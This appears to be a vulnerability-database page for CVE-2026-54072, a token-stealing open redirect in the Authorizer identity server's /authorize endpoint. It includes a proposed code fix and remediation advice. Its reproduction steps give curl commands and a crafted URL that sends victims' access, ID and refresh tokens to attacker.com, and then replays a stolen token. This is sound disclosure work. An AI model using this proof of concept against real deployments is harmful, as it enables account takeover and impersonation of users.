Authorizer CVE-2026-54072
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Remote, unauthenticated (PR:N) attacker needs a logged-in victim to click (UI:R); stolen tokens cross to the relying party (S:C), giving high confidentiality and impersonation-driven integrity impact, no availability effect.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
1DescriptionGitHub Advisory
Summary
The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.
Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.
Vulnerable Code
internal/http_handlers/authorize.go:
redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
redirectURI = redirectURI + "&" + params
} else {
redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URLCompare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).
Steps to Reproduce
# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
echo "client_id: $CLIENT_ID"
# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
echo "Send to victim: $MALICIOUS_URL"
# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
# 4. Validate stolen token
curl -s http://TARGET/userinfo \
-H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}Impact
An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.
Proposed Fix
Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:
// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
"error": "invalid_request",
"error_description": "redirect_uri is not allowed",
}, http.StatusBadRequest)
return
}AnalysisAI
Token theft via open redirect in the Authorizer identity server (authorizerdev/authorizer) lets an unauthenticated attacker steal a logged-in victim's OAuth/OIDC tokens. The /authorize endpoint fails to validate the redirect_uri against AllowedOrigins, so with response_type=token or id_token the server appends access_token, id_token, and refresh_token to any attacker-supplied URL via a 302 redirect. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the target Authorizer instance to have the implicit grant enabled so that response_type=token or response_type=id_token returns tokens directly in the redirect (this is the exact feature the attack abuses), and it requires a victim who holds a live authenticated session and clicks the attacker's crafted /authorize link (UI:R). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are largely consistent and point to a genuine high-severity issue. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker queries the target's unauthenticated /graphql?query={meta{client_id}} endpoint to obtain the client_id, then crafts http://TARGET/authorize?response_type=token&client_id=...&redirect_uri=https://attacker.com/steal and sends it to a victim who is already logged in. When the victim clicks the link, Authorizer issues a 302 that delivers access_token, id_token, and refresh_token to attacker.com, and the attacker replays the stolen bearer token against /userinfo to confirm and then impersonate the victim. … |
| Remediation | No vendor-released patch specifically fixing the /authorize open redirect is identified at time of analysis - the v2.0.1 release fixed sibling handlers but omitted this endpoint, and the advisory only proposes the fix. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Identify all production Authorizer instances and restrict external network access; examine access logs for redirect_uri manipulation attempts in /authorize endpoints. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Open Redirect
View allA malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL ca
GFI Kerio Control versions 9.2.5 through 9.4.5 contain an HTTP response splitting vulnerability in the dest parameter of
PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect
Multiple open redirect vulnerabilities in Apache Struts 2.0.0 through 2.3.15 allow remote attackers to redirect users to
Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows
Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 b
Vulnerability in the Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (li
Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware 10.1.4.3
Flarum is open source discussion platform software. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp
Open redirect vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites
Open redirect vulnerability in the Redirect function in stageshow_redirect.php in the StageShow plugin before 5.0.9 for
Nteract v.0.28.0 was discovered to contain a remote code execution (RCE) vulnerability via the Markdown link. Rated crit
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-h29v-hj44-q8cv